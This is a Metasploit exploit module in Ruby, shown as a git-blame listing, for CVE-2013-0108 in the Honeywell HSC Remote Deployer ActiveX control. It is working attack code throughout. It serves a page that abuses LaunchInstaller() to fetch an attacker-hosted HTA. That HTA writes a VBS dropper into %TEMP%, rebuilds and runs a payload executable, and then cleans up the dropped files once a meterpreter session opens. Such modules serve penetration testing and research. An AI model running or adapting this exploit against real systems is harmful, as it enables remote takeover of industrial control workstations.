2013-03-11 18:03:59 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-03-11 18:03:59 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in the Honeywell HSC Remote Deployer
|
|
|
|
ActiveX. This control can be abused by using the LaunchInstaller() function to
|
|
|
|
execute an arbitrary HTA from a remote location. This module has been tested
|
|
|
|
successfully with the HSC Remote Deployer ActiveX installed with Honeywell EBI
|
|
|
|
R410.1.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'juan vazquez'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-0108' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '90583' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '58134' ],
|
|
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/03/11/cve-2013-0108-honeywell-ebi' ],
|
|
|
|
[ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
'StackAdjustment' => -3500
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2017-02-23 23:04:36 +00:00
|
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Feb 22 2013",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def primer
|
|
|
|
hardcoded_uripath("/SystemDisplays/RemoteInstallWelcome.hta")
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
@var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
|
|
|
|
@dropped_files = [
|
|
|
|
@var_exename
|
|
|
|
]
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_new_session(session)
|
|
|
|
if session.type == "meterpreter"
|
|
|
|
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
|
|
|
|
2013-12-19 01:43:59 +00:00
|
|
|
@dropped_files.delete_if do |file|
|
|
|
|
win_file = file.gsub("/", "\\\\")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
2013-12-19 01:43:59 +00:00
|
|
|
wintemp = session.sys.config.getenv('TEMP')
|
2013-08-30 21:28:54 +00:00
|
|
|
win_file = "#{wintemp}\\#{win_file}"
|
|
|
|
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
|
|
|
|
session.fs.file.rm(win_file)
|
|
|
|
print_good("Deleted #{file}")
|
|
|
|
true
|
|
|
|
rescue ::Rex::Post::Meterpreter::RequestError
|
|
|
|
print_error("Failed to delete #{win_file}")
|
|
|
|
false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def build_hta(cli)
|
|
|
|
var_shellobj = rand_text_alpha(rand(5)+5);
|
|
|
|
var_fsobj = rand_text_alpha(rand(5)+5);
|
|
|
|
var_fsobj_file = rand_text_alpha(rand(5)+5);
|
|
|
|
var_vbsname = rand_text_alpha(rand(5)+5);
|
|
|
|
var_writedir = rand_text_alpha(rand(5)+5);
|
|
|
|
|
|
|
|
var_origLoc = rand_text_alpha(rand(5)+5);
|
|
|
|
var_byteArray = rand_text_alpha(rand(5)+5);
|
|
|
|
var_writestream = rand_text_alpha(rand(5)+5);
|
|
|
|
var_strmConv = rand_text_alpha(rand(5)+5);
|
|
|
|
|
|
|
|
p = regenerate_payload(cli);
|
|
|
|
exe = generate_payload_exe({ :code => p.encoded })
|
|
|
|
|
|
|
|
# Doing in this way to bypass the ADODB.Stream restrictions on JS,
|
|
|
|
# even when executing it as an "HTA" application
|
|
|
|
# The encoding code has been stolen from ie_unsafe_scripting.rb
|
|
|
|
print_status("Encoding payload into vbs/javascript/hta...");
|
|
|
|
|
|
|
|
# Build the content that will end up in the .vbs file
|
|
|
|
vbs_content = Rex::Text.to_hex(%Q|
|
2013-03-11 18:03:59 +00:00
|
|
|
Dim #{var_origLoc}, s, #{var_byteArray}
|
|
|
|
#{var_origLoc} = SetLocale(1033)
|
|
|
|
|)
|
2013-08-30 21:28:54 +00:00
|
|
|
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
|
|
|
|
# for conversion with ADODB.Stream
|
|
|
|
vbs_ary = []
|
|
|
|
# The output of this loop needs to be as small as possible since it
|
|
|
|
# gets repeated for every byte of the executable, ballooning it by a
|
|
|
|
# factor of about 80k (the current size of the exe template). In its
|
|
|
|
# current form, it's down to about 4MB on the wire
|
|
|
|
exe.each_byte do |b|
|
|
|
|
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
|
|
|
|
end
|
|
|
|
vbs_content << vbs_ary.join("")
|
|
|
|
|
|
|
|
# Continue with the rest of the vbs file;
|
|
|
|
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
|
|
|
|
# Then use ADODB.Stream again to write the binary to file.
|
|
|
|
#print_status("Finishing vbs...");
|
|
|
|
vbs_content << Rex::Text.to_hex(%Q|
|
2013-03-11 18:03:59 +00:00
|
|
|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
|
2013-08-30 21:28:54 +00:00
|
|
|
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
|
2013-03-11 18:03:59 +00:00
|
|
|
|
|
|
|
Set #{var_strmConv} = CreateObject("ADODB.Stream")
|
|
|
|
|
|
|
|
#{var_strmConv}.Type = 2
|
|
|
|
#{var_strmConv}.Charset = "x-ansi"
|
|
|
|
#{var_strmConv}.Open
|
|
|
|
#{var_strmConv}.WriteText s, 0
|
|
|
|
#{var_strmConv}.Position = 0
|
|
|
|
#{var_strmConv}.Type = 1
|
|
|
|
#{var_strmConv}.SaveToFile #{var_writedir}, 2
|
|
|
|
|
|
|
|
SetLocale(#{var_origLoc})|)
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
hta = <<-EOS
|
|
|
|
<script>
|
|
|
|
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
|
|
|
|
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
|
|
|
|
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
|
|
|
|
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
|
|
|
|
|
|
|
|
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
|
|
|
|
#{var_fsobj_file}.Close();
|
|
|
|
|
|
|
|
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
|
|
|
|
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
|
|
|
|
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
|
|
|
|
window.close();
|
|
|
|
</script>
|
|
|
|
EOS
|
|
|
|
|
|
|
|
return hta
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
|
|
|
|
|
|
if agent !~ /MSIE \d/
|
|
|
|
print_error("Browser not supported: #{agent.to_s}")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
uri = ((datastore['SSL']) ? "https://" : "http://")
|
|
|
|
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
|
|
|
|
uri << ":#{datastore['SRVPORT']}"
|
|
|
|
|
|
|
|
print_status("Request received for #{request.uri}");
|
|
|
|
|
|
|
|
if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/
|
|
|
|
hta = build_hta(cli)
|
|
|
|
print_status("Sending HTA application")
|
|
|
|
send_response(cli, hta, {'Content-Type'=>'application/hta'})
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
html = <<-EOS
|
|
|
|
<html>
|
|
|
|
<body>
|
|
|
|
<object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
|
|
|
|
</object>
|
|
|
|
<script>
|
|
|
|
RemoteInstaller.LaunchInstaller("#{uri}", "", false);
|
|
|
|
</script>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
EOS
|
|
|
|
|
|
|
|
print_status("Sending html")
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
|
|
|
|
end
|
2013-03-11 18:03:59 +00:00
|
|
|
|
2013-03-11 18:35:58 +00:00
|
|
|
end
|